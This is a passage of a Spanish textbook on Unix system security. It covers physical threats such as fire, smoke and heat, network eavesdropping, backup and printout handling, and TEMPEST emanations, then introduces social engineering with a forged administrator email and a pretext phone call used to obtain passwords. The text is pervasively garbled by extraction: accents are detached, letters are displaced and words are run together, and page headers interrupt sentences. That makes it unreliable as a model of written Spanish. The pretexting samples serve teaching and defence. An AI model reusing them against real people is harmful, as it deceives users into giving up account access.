de radio o walkie-talkies; estos elementos puede e oincluso da˜ar permanentemente a nuestro hardware si tienen la suficiente potencia de transmisi´n, n oo influir directamente en elementos que pueden da˜arlo como detectores de incendios o cierto tipo nde alarmas.Incendios y humoUna causa casi siempre relacionada con la electricidad son los incendios, y con ellos el humo; aunquela causa de un fuego puede ser un desastre natural, lo habitual en muchos entornos es que el mayorpeligro de incendio provenga de problemas el´ctricos por la sobrecarga de la red debido al gran en´mero de aparatos conectados al tendido. Un simple cortocircuito o un equipo que se calienta udemasiado pueden convertirse en la causa directa de un incendio en el edificio, o al menos en laplanta, donde se encuentran invertidos millones de pesetas en equipamiento.Un m´todo efectivo contra los incendios son los extintores situados en el techo, que se activan eautom´ticamente al detectar humo o calor. Algunos de ellos, los m´s antiguos, utilizaban agua a apara apagar las llamas, lo que provocaba que el hardware no llegara a sufrir los efectos del fuegosi los extintores se activaban correctamente, pero que quedara destrozado por el agua expulsada.Visto este problema, a mitad de los ochenta se comenzaron a utilizar extintores de hal´n; este ocompuesto no conduce electricidad ni deja residuos, por lo que resulta ideal para no da˜ar losnequipos. Sin embargo, tambi´n el hal´n presentaba problemas: por un lado, resulta excesivamente e ocontaminante para la atm´sfera, y por otro puede axfisiar a las personas a la vez que acaba con el ofuego. Por eso se han sustituido los extintores de hal´n (aunque se siguen utilizando mucho hoy en od´ por extintores de di´xido de carbono, menos contaminante y menos perjudicial. De cualquier ıa) oforma, al igual que el hal´n el di´xido de carbono no es precisamente sano para los humanos, por o olo que antes de activar el extintor es conveniente que todo el mundo abandone la sala; si se trata desistemas de activaci´n autom´tica suelen avisar antes de expulsar su compuesto mediante un pitido. o aAparte del fuego y el calor generado, en un incendio existe un tercer elemento perjudicial paralos equipos: el humo, un potente abrasivo que ataca especialmente los discos magn´ticos y ´pticos. e oQuiz´s ante un incendio el da˜o provocado por el humo sea insignificante en comparaci´n con el a n ocausado por el fuego y el calor, pero hemos de recordar que puede existir humo sin necesidad de quehaya un fuego: por ejemplo, en salas de operaciones donde se fuma. Aunque muchos no apliquemosesta regla y fumemos demasiado – siempre es demasiado – delante de nuestros equipos, ser´ con- ıaveniente no permitir esto; aparte de la suciedad generada que se deposita en todas las partes de unordenador, desde el teclado hasta el monitor, generalmente todos tenemos el cenicero cerca de losequipos, por lo que el humo afecta directamente a todos los componentes; incluso al ser algo m´s ahabitual que un incendio, se puede considerar m´s perjudicial – para los equipos y las personas – ael humo del tabaco que el de un fuego.En muchos manuales de seguridad se insta a los usuarios, administradores, o al personal en ge-
  • ´2.3. PROTECCION DE LOS DATOS 29neral a intentar controlar el fuego y salvar el equipamiento; esto tiene, como casi todo, sus pros ysus contras. Evidentemente, algo l´gico cuando estamos ante un incendio de peque˜as dimensiones o nes intentar utilizar un extintor para apagarlo, de forma que lo que podr´ haber sido una cat´strofe ıa asea un simple susto o un peque˜o accidente. Sin embargo, cuando las dimensiones de las llamas son nconsiderables lo ultimo que debemos hacer es intentar controlar el fuego nosotros mismos, arries- ´gando vidas para salvar hardware; como suced´ en el caso de inundaciones, no importa el precio ıade nuestros equipos o el valor de nuestra informaci´n: nunca ser´n tan importantes como una vida o ahumana. Lo m´s recomendable en estos casos es evacuar el lugar del incendio y dejar su control en amanos de personal especializado.Temperaturas extremasNo hace falta ser un genio para comprender que las temperaturas extremas, ya sea un calor excesi-vo o un frio intenso, perjudican gravemente a todos los equipos. Es recomendable que los equiposoperen entre 10 y 32 grados Celsius ([GS96]), aunque peque˜as variaciones en este rango tampoco nhan de influir en la mayor´ de sistemas. ıaPara controlar la temperatura ambiente en el entorno de operaciones nada mejor que un acondicio-nador de aire, aparato que tambi´n influir´ positivamente en el rendimiento de los usuarios (las per- e asonas tambi´n tenemos rangos de temperaturas dentro de los cuales trabajamos m´s c´modamente). e a oOtra condici´n b´sica para el correcto funcionamiento de cualquier equipo que ´ste se encuentre o a ecorrectamente ventilado, sin elementos que obstruyan los ventiladores de la CPU. La organizaci´n of´ ısica del computador tambi´n es decisiva para evitar sobrecalentamientos: si los discos duros, ele- ementos que pueden alcanzar temperaturas considerables, se encuentran excesivamente cerca de lamemoria RAM, es muy probable que los m´dulos acaben quem´ndose. o a2.3 Protecci´n de los datos oLa seguridad f´ ısica tambi´n implica una protecci´n a la informaci´n de nuestro sistema, tanto a e o ola que est´ almacenada en ´l como a la que se transmite entre diferentes equipos. Aunque los a eapartados comentados en la anterior secci´n son aplicables a la protecci´n f´ o o ısica de los datos (yaque no olvidemos que si protegemos el hardware tambi´n protegemos la informaci´n que se almacena e oo se transmite por ´l), hay ciertos aspectos a tener en cuenta a la hora de dise˜ar una pol´ e n ıtica deseguridad f´ ısica que afectan principalmente, aparte de a los elementos f´ ısicos, a los datos de nuestraorganizaci´n; existen ataques cuyo objetivo no es destruir el medio f´ o ısico de nuestro sistema, sinosimplemente conseguir la informaci´n almacenada en dicho medio. o2.3.1 EavesdroppingLa interceptaci´n o eavesdropping, tambi´n conocida por passive wiretapping ([CES91]) es un pro- o eceso mediante el cual un agente capta informaci´n – en claro o cifrada – que no le iba dirigida; esta ocaptaci´n puede realizarse por much´ o ısimos medios (por ejemplo, capturando las radiaciones elec-tromagn´ticas, como veremos luego). Aunque es en principio un ataque completamente pasivo, lo em´s peligroso del eavesdropping es que es muy dif´ de detectar mientras que se produce, de forma a ıcilque un atacante puede capturar informaci´n privilegiada y claves para acceder a m´s informaci´n o a osin que nadie se de cuenta hasta que dicho atacante utiliza la informaci´n capturada, convirtiendo oel ataque en activo.Un medio de interceptaci´n bastante habitual es el sniffing, consistente en capturar tramas que ocirculan por la red mediante un programa ejecut´ndose en una m´quina conectada a ella o bien a amediante un dispositivo que se engancha directamente el cableado4 . Estos dispositivos, denomina-dos sniffers de alta impedancia, se conectan en paralelo con el cable de forma que la impedancia 4 En este caso tambi´n se suele llamar a esta actividad wiretapping. e
  • 30 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMAStotal del cable y el aparato es similar a la del cable solo, lo que hace dif´ su detecci´n. Contra ıcil oestos ataques existen diversas soluciones; la m´s barata a nivel f´ a ısico es no permitir la existenciade segmentos de red de f´cil acceso, lugares id´neos para que un atacante conecte uno de estos a oaparatos y capture todo nuestro tr´fico. No obstante esto resulta dif´ en redes ya instaladas, a ıcildonde no podemos modificar su arquitectura; en estos existe una soluci´n generalmente gratuita opero que no tiene mucho que ver con el nivel f´ ısico: el uso de aplicaciones de cifrado para realizarlas comunicaciones o el almacenamiento de la informaci´n (hablaremos m´s adelante de algunas de o aellas). Tampoco debemos descuidar las tomas de red libres, donde un intruso con un portatil puedeconectarse para capturar tr´fico; es recomendable analizar regularmente nuestra red para verificar aque todas las m´quinas activas est´n autorizadas. a aComo soluciones igualmente efectivas contra la interceptaci´n a nivel f´ o ısico podemos citar el uso dedispositivos de cifra (no simples programas, sino hardware), generalmente chips que implementanalgoritmos como des; esta soluci´n es muy poco utilizada en entornos de I+D, ya que es much´ o ısimom´s cara que utilizar implementaciones software de tales algoritmos y en muchas ocasiones la unica a ´diferencia entre los programas y los dispositivos de cifra es la velocidad. Tambi´n se puede utilizar, ecomo soluci´n m´s cara, el cableado en vac´ para evitar la interceptaci´n de datos que viajan por o a ıo ola red: la idea es situar los cables en tubos donde artificialmente se crea el vac´ o se inyecta aire ıoa presi´n; si un atacante intenta ‘pinchar’ el cable para interceptar los datos, rompe el vac´ o el o ıonivel de presi´n y el ataque es detectado inmediatamente. Como decimos, esta soluci´n es enor- o omemente cara y s´lamente se aplica en redes de per´ o ımetro reducido para entornos de alta seguridad.Antes de finalizar este punto debemos recordar un peligro que muchas veces se ignora: el de lainterceptaci´n de datos emitidos en forma de sonido o simple ruido en nuestro entorno de operacio- ones. Imaginemos una situaci´n en la que los responsables de la seguridad de nuestra organizaci´n o ose reunen para discutir nuevos mecanismos de protecci´n; todo lo que en esa reuni´n se diga puede o oser capturado por multitud de m´todos, algunos de los cuales son tan simples que ni siquiera se econtemplan en los planes de seguridad. Por ejemplo, una simple tarjeta de sonido instalada en unPC situado en la sala de reuniones puede transmitir a un atacante todo lo que se diga en esa reu-ni´n; mucho m´s simple y sencillo: un tel´fono mal colgado – intencionada o inintencionadamente o a e– tambi´n puede transmitir informaci´n muy util para un potencial enemigo. Para evitar estos pro- e o ´blemas existen numerosos m´todos: por ejemplo, en el caso de los tel´fonos fijos suele ser suficiente e eun poco de atenci´n y sentido com´n, ya que basta con comprobar que est´n bien colgados. . . o o u aincluso desconectados de la red telef´nica. El caso de los m´viles suele ser algo m´s complejo de o o acontrolar, ya que su peque˜o tama˜o permite camuflarlos f´cilmente; no obstante, podemos instalar n n aen la sala de reuniones un sistema de aislamiento para bloquear el uso de estos tel´fonos: se trata ede sistemas que ya se utilizan en ciertos entornos (por ejemplo en conciertos musicales) para evitarlas molestias de un m´vil sonando, y que trabajan bloqueando cualquier transmisi´n en los rangos o ode frecuencias en los que trabajan los diferentes operadores telef´nicos. Otra medida preventiva (ya ono para voz, sino para prevenir la fuga de datos v´ el ruido ambiente) muy util – y no muy cara – ıa ´puede ser sustituir todos los tel´fonos fijos de disco por tel´fonos de teclado, ya que el ruido de un e edisco al girar puede permitir a un pirata deducir el n´mero de tel´fono marcado desde ese aparato. u e2.3.2 BackupsEn este apartado no vamos a hablar de las normas para establecer una pol´ ıtica de realizaci´n de ocopias de seguridad correcta, ni tampoco de los mecanismos necesarios para implementarla o lasprecauciones que hay que tomar para que todo funcione correctamente; el tema que vamos a trataren este apartado es la protecci´n f´ o ısica de la informaci´n almacenada en backups, esto es, de la oprotecci´n de los diferentes medios donde residen nuestras copias de seguridad. Hemos de tener osiempre presente que si las copias contienen toda nuestra informaci´n tenemos que protegerlas igual oque protegemos nuestros sistemas.Un error muy habitual es almacenar los dispositivos de backup en lugares muy cercanos a la sala de
  • ´2.3. PROTECCION DE LOS DATOS 31operaciones, cuando no en la misma sala; esto, que en principio puede parecer correcto (y c´modo si onecesitamos restaurar unos archivos) puede convertirse en un problema: imaginemos simplementeque se produce un incendio de grandes dimensiones y todo el edificio queda reducido a cenizas. Eneste caso extremo tendremos que unir al problema de perder todos nuestros equipos – que segura-mente cubrir´ el seguro, por lo que no se puede considerar una cat´strofe – el perder tambi´n todos a a enuestros datos, tanto los almacenados en los discos como los guardados en backups (esto evidente-mente no hay seguro que lo cubra). Como podemos ver, resulta recomendable guardar las copiasde seguridad en una zona alejada de la sala de operaciones, aunque en este caso descentralizemos laseguridad y tengamos que proteger el lugar donde almacenamos los backups igual que protegemosla propia sala o los equipos situados en ella, algo que en ocasiones puede resultar caro.Tambi´n suele ser com´n etiquetar las cintas donde hacemos copias de seguridad con abundan- e ute informaci´n sobre su contenido (sistemas de ficheros almacenados, d´ y hora de la realizaci´n, o ıa osistema al que corresponde. . . ); esto tiene una parte positiva y una negativa. Por un lado, recuperarun fichero es r´pido: s´lo tenemos que ir leyendo las etiquetas hasta encontrar la cinta adecuada. a oSin embargo, si nos paramos a pensar, igual que para un administrador es f´cil encontrar el backup adeseado tambi´n lo es para un intruso que consiga acceso a las cintas, por lo que si el acceso a las emismas no est´ bien restringido un atacante lo tiene f´cil para sustraer una cinta con toda nuestra a ainformaci´n; no necesita saltarse nuestro cortafuegos, conseguir una clave del sistema o chantajear oa un operador: nosotros mismos le estamos poniendo en bandeja toda nuestros datos. No obstante,ahora nos debemos plantear la duda habitual: si no etiqueto las copias de seguridad, ¿c´mo puedo oelegir la que debo restaurar en un momento dado? Evidentemente, se necesita cierta informaci´n oen cada cinta para poder clasificarlas, pero esa informaci´n nunca debe ser algo que le facilite la otarea a un atacante; por ejemplo, se puede dise˜ar cierta codificaci´n que s´lo conozcan las personas n o oresponsables de las copias de seguridad, de forma que cada cinta vaya convenientemente etiquetada,pero sin conocer el c´digo sea dif´ imaginar su contenido. Aunque en un caso extremo el atacante o ıcilpuede llevarse todos nuestros backups para analizarlos uno a uno, siempre es m´s dif´ disimular a ıciluna carretilla llena de cintas de 8mm que una peque˜a unidad guardada en un bolsillo. Y si a´n n upensamos que alguien puede sustraer todas las copias, simplemente tenemos que realizar backupscifrados. . . y controlar m´s el acceso al lugar donde las guardamos. a2.3.3 Otros elementosEn muchas ocasiones los responsables de seguridad de los sistemas tienen muy presente que la in-formaci´n a proteger se encuentra en los equipos, en las copias de seguridad o circulando por la ored (y por lo tanto toman medidas para salvaguardar estos medios), pero olvidan que esa infor-maci´n tambi´n puede encontrarse en lugares menos obvios, como listados de impresora, facturas o etelef´nicas o la propia documentaci´n de una m´quina. o o aImaginemos una situaci´n muy t´ o ıpica en los sistemas Unix: un usuario, desde su terminal o elequipo de su despacho, imprime en el servidor un documento de cien p´ginas, documento que ya de aentrada ning´n operador comprueba – y quiz´s no pueda comprobar, ya que se puede comprometer u ala privacidad del usuario – pero que puede contener, disimuladamente, una copia de nuestro ficherode contrase˜as. Cuando la impresi´n finaliza, el administrador lleva el documento fuera de la sala n ode operaciones, pone como portada una hoja con los datos del usuario en la m´quina (login perfec- atamente visible, nombre del fichero, hora en que se lanz´. . . ) y lo deja, junto a los documentos que ootros usuarios han imprimido – y con los que se ha seguido la misma pol´ ıtica – en una estanter´ ıaperdida en un pasillo, lugar al que cualquier persona puede acceder con total libertad y llevarse laimpresi´n, leerla o simplemente curiosear las portadas de todos los documentos. As´ de repente, o ı,a nadie se le escapan bastante problemas de seguridad derivados de esta pol´ ıtica: sin entrar en loque un usuario pueda imprimir – que repetimos, quiz´s no sea legal, o al menos ´tico, curiosear –, a ecualquiera puede robar una copia de un proyecto o un examen5 , obtener informaci´n sobre nuestros o 5 Evidentemente, si alguien imprime un examen de esta forma, no tenemos un problema con nuestra pol´ ıtica sinocon nuestros usuarios.
  • 32 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMASsistemas de ficheros y las horas a las que los usuarios suelen trabajar, o simplemente descubrir,simplemente pasando por delante de la estanter´ diez o veinte nombres v´lidos de usuario en ıa, anuestras m´quinas; todas estas informaciones pueden ser de gran utilidad para un atacante, que apor si fuera poco no tiene que hacer nada para obtenerlas, simplemente darse un paseo por el lugardonde depositamos las impresiones. Esto, que a muchos les puede parecer una exageraci´n, no es ni om´s ni menos la pol´ a ıtica que se sigue en muchas organizaciones hoy en d´ e incluso en centros de ıa,proceso de datos, donde a priori ha de haber una mayor concienciaci´n por la seguridad inform´tica. o aEvidentemente, hay que tomar medidas contra estos problemas. En primer lugar, las impreso-ras, plotters, faxes, teletipos, o cualquier dispositivo por el que pueda salir informaci´n de nuestro osistema ha de estar situado en un lugar de acceso restringido; tambi´n es conveniente que sea de eacceso restringido el lugar donde los usuarios recogen los documentos que lanzan a estos disposi-tivos. Ser´ conveniente que un usuario que recoge una copia se acredite como alguien autorizado ıaa hacerlo, aunque quiz´s esto puede ser imposible, o al menos muy dif´ a ıcil, en grandes sistemas(imaginemos que en una m´quina con cinco mil usuarios obligamos a todo aqu´l que va a reco- a eger una impresi´n a identificarse y comprobamos que la identificaci´n es correcta antes de darle o osu documento. . . con toda seguridad necesitar´ ıamos una persona encargada exclusivamente de estetrabajo), siempre es conveniente demostrar cierto grado de inter´s por el destino de lo que sale por enuestra impresora: sin llegar a realizar un control f´rreo, si un atacante sabe que el acceso a los edocumentos est´ m´ a ınimamente controlado se lo pensar´ dos veces antes de intentar conseguir algo aque otro usuario ha imprimido.Elementos que tambi´n pueden ser aprovechados por un atacante para comprometer nuestra segu- eridad son todos aquellos que revelen informaci´n de nuestros sistemas o del personal que los utiliza, ocomo ciertos manuales (proporcionan versiones de los sistemas operativos utilizados), facturas detel´fono del centro (pueden indicar los n´meros de nuestros m´dems) o agendas de operadores (reve- e u olan los tel´fonos de varios usuarios, algo muy provechoso para alguien que intente efectuar ingenier´ e ıasocial contra ellos). Aunque es conveniente no destruir ni dejar a la vista de todo el mundo estainformaci´n, si queremos eliminarla no podemos limitarnos a arrojar documentos a la papelera: en oel cap´ ıtulo siguiente hablaremos del basureo, algo que aunque parezca sacado de pel´ ıculas de esp´ ıasrealmente se utiliza contra todo tipo de entornos. Es recomendable utilizar una trituradora depapel, dispositivo que dificulta much´ ısimo la reconstrucci´n y lectura de un documento destruido; opor poco dinero podemos conseguir uno de estos aparatos, que suele ser suficiente para acabar concantidades moderadas de papel.2.4 Radiaciones electromagn´ticas eDentro del apartado 2.3.1 pod´ ıamos haber hablado del acceso no autorizado a los datos a trav´s ede las radiaciones que el hardware emite; sin embargo, este es un tema que ha cobrado especialimportancia (especialmente en organismos militares) a ra´ del programa tempest, un t´rmino ız e(Transient ElectroMagnetic Pulse Emanation STandard) que identifica una serie de est´ndares del agobierno estadounidense para limitar las radiaciones el´ctricas y electromagn´ticas del equipamien- e eto electr´nico, desde estaciones de trabajo hasta cables de red, pasando por terminales, mainframes, oratones. . .La idea es sencilla: la corriente que circula por un conductor provoca un campo electromagn´tico al- erededor del conductor, campo que var´ de la misma forma que lo hace la intensidad de la corriente. ıaSi situamos otro conductor en ese campo, sobre ´l se induce una se˜al que tambi´n var´ proporcio- e n e ıanalmente a la intensidad de la corriente inicial; de esta forma, cualquier dispositivo electr´nico (no os´lo el inform´tico) emite cont´ o a ınuamente radiaciones a trav´s del aire o de conductores, radiaciones eque con el equipo adecuado se pueden captar y reproducir remotamente con la consiguiente ame-naza a la seguridad que esto implica. Conscientes de este problema – obviamente las emisiones deuna batidora no son peligrosas para la seguridad, pero s´ que lo pueden ser las de un dipositivo de ı
  • ´2.4. RADIACIONES ELECTROMAGNETICAS 33cifrado o las de un teclado desde el que se env´ mensajes confidenciales – en la d´cada de los 50 ıen eel gobierno de Estados Unidos introdujo una serie de est´ndares para reducir estas radiaciones en alos equipos destinados a almacenar, procesar o transmitir informaci´n que pudiera comprometer la oseguridad nacional. De esta forma, el hardware certificado tempest se suele usar con la informaci´n oclasificada y confidencial de algunos sistemas gubernamentales para asegurar que el eavesdroppingelectromagn´tico no va a afectar a privacidad de los datos. eCasi medio siglo despu´s de las primeras investigaciones sobre emanaciones de este tipo, casi to- edos los paises desarrollados y organizaciones militares internacionales tienen programas similares atempest con el mismo fin: proteger informaci´n confidencial. Para los gobiernos, esto es algo reser- ovado a informaciones militares, nunca a organizaciones ‘normales’ y mucho menos a particulares (laNRO, National Reconnaissance Office, elimin´ en 1992 los est´ndares tempest para dispositivos o ade uso dom´stico); sin embargo, y como ejemplo – algo extremo quiz´s – de hasta que punto un e apotencial atacante puede llegar a comprometer la informaci´n que circula por una red o que se olee en un monitor, vamos a dar aqu´ unas nociones generales sobre el problema de las radiaciones ıelectromagn´ticas. eExisten numerosos tipos de se˜ales electromagn´ticas; sin duda las m´s peligrosas son las de video n e ay las de transmisi´n serie, ya que por sus caracter´ o ısticas no es dif´ interceptarlas con el equi- ıcilpamiento adecuado ([vE85] y [Smu90]). Otras se˜ales que a priori tambi´n son f´ciles de captar, n e acomo las de enlaces por radiofrecuencia o las de redes basadas en infrarrojos, no presentan tantosproblemas ya que desde un principio los dise˜adores fueron conscientes de la facilidad de captaci´n n oy las amenazas a la seguridad que una captura implica; esta inseguridad tan palpable provoc´ laor´pida aparici´n de mecanismos implementados para dificultar el trabajo de un atacante, como el a osalto en frecuencias o el espectro disperso ([KMM95]), o simplemente el uso de protocolos cifrados.Este tipo de emisiones quedan fuera del alcance de tempest, pero son cubiertas por otro est´ndar adenominado nonstop, tambi´n del Departamento de Defensa estadounidense. eSin embargo, nadie suele tomar precauciones contra la radiaci´n que emite su monitor, su im- opresora o el cable de su m´dem. Y son justamente las radiaciones de este hardware desprotegido las om´s preocupantes en ciertos entornos, ya que lo unico que un atacante necesita para recuperarlas es a ´el equipo adecuado. Dicho equipo puede variar desde esquemas extremadamente simples y baratos– pero efectivos – ([Hig88]) hasta complejos sistemas que en teor´ utilizan los servicios de inte- ıaligencia de algunos pa´ ıses. La empresa Consumertronics (www.tsc-global.com) fabrica y vendediversos dispositivos de monitorizaci´n, entre ellos el basado en [vE85], que se puede considerar uno ode los pioneros en el mundo civil.Pero, ¿c´mo podemos protegernos contra el eavesdropping de las radiaciones electromagn´ticas o ede nuestro hardware? Existe un amplio abanico de soluciones, desde simples medidas de prevenci´n ohasta complejos – y caros – sistemas para apantallar los equipos. La soluci´n m´s barata y simple o aque podemos aplicar es la distancia: las se˜ales que se transmiten por el espacio son atenuadas nconforme aumenta la separaci´n de la fuente, por lo que si definimos un per´ o ımetro f´ ısico de seguri-dad lo suficientemente grande alrededor de una m´quina, ser´ dif´ para un atacante interceptar a a ıcildesde lejos nuestras emisiones. No obstante, esto no es aplicable a las se˜ales inducidas a trav´s n ede conductores, que aunque tambi´n se atenuan por la resistencia e inductancia del cableado, la ep´rdida no es la suficiente para considerar seguro el sistema. eOtra soluci´n consiste en la confusi´n: cuantas m´s se˜ales existan en el mismo medio, m´s o o a n adif´ ser´ para un atacante filtrar la que est´ buscando; aunque esta medida no hace imposible la ıcil a ainterceptaci´n, s´ que la dificulta enormemente. Esto se puede conseguir simplemente manteniendo o ıdiversas piezas emisoras (monitores, terminales, cables. . . ) cercanos entre s´ y emitiendo cada una ıde ellas informaci´n diferente (si todas emiten la misma, facilitamos el ataque ya que aumentamos ola intensidad de la se˜al inducida). Tambi´n existe hardware dise˜ado expl´ n e n ıcitamente para crearruido electromagn´tico, generalmente a trav´s de se˜ales de radio que enmascaran las radiaciones e e n
  • 34 CAP´ ITULO 2. SEGURIDAD F´ ISICA DE LOS SISTEMASemitidas por el equipo a proteger; dependiendo de las frecuencias utilizadas, quiz´s el uso de tales adispositivos pueda ser ilegal: en todos los paises el espectro electromagn´tico est´ dividido en ban- e adas, cada una de las cuales se asigna a un determinado uso, y en muchas de ellas se necesita unalicencia especial para poder transmitir. En Espa˜a estas licencias son otorgadas por la Secretar´ n ıaGeneral de Comunicaciones, dependiente del Ministerio de Fomento.Por ultimo, la soluci´n m´s efectiva, y m´s cara, consiste en el uso de dispositivos certificados que ´ o a aaseguran m´ ınima emisi´n, as´ como de instalaciones que apantallan las radiaciones. En el hardware o ıhay dos aproximaciones principales para prevenir las emisiones: una es la utilizaci´n de circuitos oespeciales que apenas emiten radiaci´n (denominados de fuente eliminada, source suppressed), y ola otra es la contenci´n de las radiaciones, por ejemplo aumentando la atenuaci´n; generalmente o oambas aproximaciones se aplican conjuntamente ([Swi92]). En cuanto a las instalaciones utilizadaspara prevenir el eavesdropping, la idea general es aplicar la contenci´n no s´lo a ciertos dispositivos, o osino a un edificio o a una sala completa. Quiz´s la soluci´n m´s utilizada son las jaulas de Faraday a o asobre lugares donde se trabaja con informaci´n sensible; se trata de separar el espacio en dos zonas oelectromagn´ticamente aisladas (por ejemplo, una sala y el resto del espacio) de forma que fuera ede una zona no se puedan captar las emisiones que se producen en su interior. Para implementaresta soluci´n se utilizan materiales especiales, como algunas clases de cristal, o simplemente un orecubrimiento conductor conectado a tierra.Antes de finalizar este punto quiz´s es recomendable volver a insistir en que todos los proble- amas y soluciones derivados de las radiaciones electromagn´ticas no son aplicables a los entornos o eempresas normales, sino que est´n pensados para lugares donde se trabaja con informaci´n altamen- a ote confidencial, como ciertas empresas u organismos militares o de inteligencia. Aqu´ simplemente ıse han presentado como una introducci´n para mostrar hasta donde puede llegar la preocupaci´n o opor la seguridad en esos lugares. La radiaci´n electromagn´tica no es un riesgo importante en la o emayor´ de organizaciones ya que suele tratarse de un ataque costoso en tiempo y dinero, de forma ıaque un atacante suele tener muchas otras puertas para intentar comprometer el sistema de unaforma m´s f´cil. a a
  • Cap´ ıtulo 3Administradores, usuarios ypersonal3.1 Introducci´n oCon frecuencia se suele afirmar, y no es una exageraci´n ([And94]), que el punto m´s d´bil de cual- o a equier sistema inform´tico son las personas relacionadas en mayor o menor medida con ´l; desde un a eadministrador sin una preparaci´n adecuada o sin la suficiente experiencia, hasta un guardia de se- oguridad que ni siquiera tiene acceso l´gico al sistema, pero que deja acceder a todo el mundo a la sala ode operaciones, pasando por supuesto por la gran mayor´ de usuarios, que no suelen conscientes de ıaque la seguridad tambi´n les concierne a ellos. Frente a cada uno de estos grupos (administradores, eusuarios y personal externo al sistema) un potencial atacante va a comportarse de una forma deter-minada para conseguir lograr sus objetivos, y sobre cada uno de ellos ha de aplicarse una pol´ ıtica deseguridad diferente: obviamente podemos exigir a un administrador de sistemas unos conocimientosm´s o menos profundos de temas relacionados con la seguridad inform´tica, pero esos conocimientos a ahan de ser diferentes para el guardia de seguridad (sus conocimientos ser´ referentes a la segu- ıanridad f´ ısica del entorno), y se convierten en simples nociones b´sicas si se trata de un usuario medio. aHasta ahora hemos hablado de posibles ataques relacionados con el personal de un sistema in-form´tico; sin embargo, existen otras amenazas a la seguridad provenientes de ese personal que ano son necesariamente ataques en un sentido estricto de la palabra; en muchos casos no son in-tencionados, se podr´ catalogar como accidentes, pero el que la amenaza no sea intencionada no ıanimplica que no se deba evitar: decir ‘no lo hice a prop´sito’ no va ayudar para nada a recuperar ounos datos perdidos. En una sala de operaciones, las personas realizan acciones sobre los sistemasbas´ndose – en muchos casos – unicamente en su apreciaci´n personal de lo que est´ sucediendo; en a ´ o aesas circunstancias, dichas acciones pueden ser sorprendentes y devastadoras, incluso si provienende los mejores y m´s cuidadosos administradores ([CoIST99]). a3.2 Ataques potenciales3.2.1 Ingenier´ social ıaLa ingenier´ social consiste en la manipulaci´n de las personas para que voluntariamente realicen ıa oactos que normalmente no har´ ([Fen99]); aunque a nadie le gusta ser manipulado, en algunos ıancasos no es excesivamente perjudicial (por ejemplo un vendedor puede aplicar ingenier´ social para ıaconocer las necesidades de un cliente y ofrecer as´ mejor sus productos), si las intenciones de quien la ıpone en pr´ctica no son buenas se convierte quiz´s el m´todo de ataque m´s sencillo, menos peligroso a a e apara el atacante y por desgracia en uno de los m´s efectivos. Ese atacante puede aprovechar el adesconocimiento de unas m´ ınimas medidas de seguridad por parte de personas relacionadas de una 35
  • 36 CAP´ ITULO 3. ADMINISTRADORES, USUARIOS Y PERSONALu otra forma con el sistema para poder enga˜arlas en beneficio propio. Por ejemplo, imaginemos nque un usuario de una m´quina Unix recibe el siguiente correo electr´nico: a o From: Super-User <root@sistema.com> To: Usuario <user@sistema.com> Subject: Cambio de clave Hola, Para realizar una serie de pruebas orientadas a conseguir un optimo funcionamiento de nuestro sistema, es necesario que cambie su clave mediante la orden ’passwd’. Hasta que reciba un nuevo aviso (aproximadamente en una semana), por favor, asigne a su contrasenya el valor ’PEPITO’ (en mayusculas). Rogamos disculpe las molestias. Saludos, AdministradorSi el usuario no sabe nada sobre seguridad, es muy probable que siga al pie de la letra las indi-caciones de este e-mail; pero nadie le asegura que el correo no haya sido enviado por un atacante– es muy f´cil camuflar el origen real de un mensaje –, que consigue as´ un acceso al sistema: no a ıtiene m´s que enviar un simple correo, sin complicarse buscando fallos en los sistemas operativos o ala red, para poner en juego toda la seguridad. Sin saberlo, y encima pensando que lo hace por elbien com´n, el usuario est´ ayudando al pirata a romper todo el esquema de seguridad de nuestra u am´quina. aPero no siempre el atacante se aprovecha de la buena fe de los usuarios para lograr sus prop´sitos; otampoco es extra˜o que intente enga˜ar al propio administrador del sistema1 . Por ejemplo, ima- n nginemos que la m´quina tiene el puerto finger abierto, y el atacante detecta un nombre de usuario aque nunca ha conectado al sistema; en este caso, una simple llamada telef´nica puede bastarle para oconseguir el acceso: [Administrador] Buenos dias, aqu´ ´rea de sistemas, en qu´ podemos ı a e ayudarle? [Atacante] Hola, soy Jos´ Luis P´rez, llamaba porque no consigo e e recordar mi password en la m´quina sistema.upv.es. a [Administrador] Un momento, me puede decir su nombre de usuario? [Atacante] S´, claro, es jlperez. ı [Administrador] Muy bien, la nueva contrase~a que acabo de asignarle n es rudolf. Por favor, nada m´s conectar, no olvide cambiarla. a [Atacante] Por supuesto. Muchas gracias, ha sido muy amable. [Administrador] De nada, un saludo.Como podemos ver, estamos en la situaci´n opuesta a la anterior: ahora es el root quien facilita la oentrada del atacante en la m´quina; lo unico que este ha necesitado es un nombre de usuario v´lido. a ´ aEvidentemente, cualquier mensaje, llamada telef´nica o similar que un usuario reciba debe ser opuesto inmediatamente en conocimiento del administrador del sistema; hay que recordar a losusuarios que en ning´n caso se necesita su contrase˜a para realizar tareas administrativas en la u nm´quina. De la misma forma, si es el administrador quien directamente recibe algo parecido a lo aque acabamos de ver, quiz´s sea conveniente notificar el hecho a los responsables de la organizaci´n, a oy por supuesto poner la m´xima atenci´n en la seguridad de los sistemas involucrados, ya que en a oeste caso se sabe a ciencia cierta que alguien intenta comprometer nuestra seguridad; en [Rad97] y[WD95] se muestran algunas de las reglas b´sicas que debemos seguir en nuestra organizaci´n para a oprevenir ataques de ingenier´ social y tambi´n para, en el caso de que se produzcan, reducir al ıa em´ınimo sus efectos. 1 Esto simplemente es para dar m´s credibilidad, pero no es necesario que el usuario real no haya conectado en amucho tiempo.
  • 3.2. ATAQUES POTENCIALES 373.2.2 Shoulder SurfingOtro tipo de ataque relacionado con la ingenuidad de los usuarios del sistema (pero tambi´n con eel control de acceso f´ısico) es el denominado shoulder surfing. Consiste en ‘espiar’ f´ ısicamente alos usuarios, para obtener generalmente claves de acceso al sistema. Por ejemplo, una medida quelamentablemente utilizan muchos usuarios para recordar sus contrase˜as es apuntarlas en un papel npegado al monitor de su PC o escribirlas en la parte de abajo del teclado; cualquiera que pase pordelante del puesto de trabajo, sin problemas puede leer el login, password e incluso el nombre dem´quina a la que pertenecen. Esto, que nos puede parecer una gran tonter´ por desgracia no a ıa,lo es, y se utiliza m´s de lo que muchos administradores o responsables de seguridad piensan; y ano s´lo en entornos ‘privados’ o con un control de acceso restringido, como pueda ser una sala de ooperaciones de un centro de c´lculo, sino en lugares a los que cualquiera puede llegar sin ninguna aacreditaci´n: personalmente, hace unos a˜os pude leer claramente ‘post-it’ pegados a los monitores o nde los 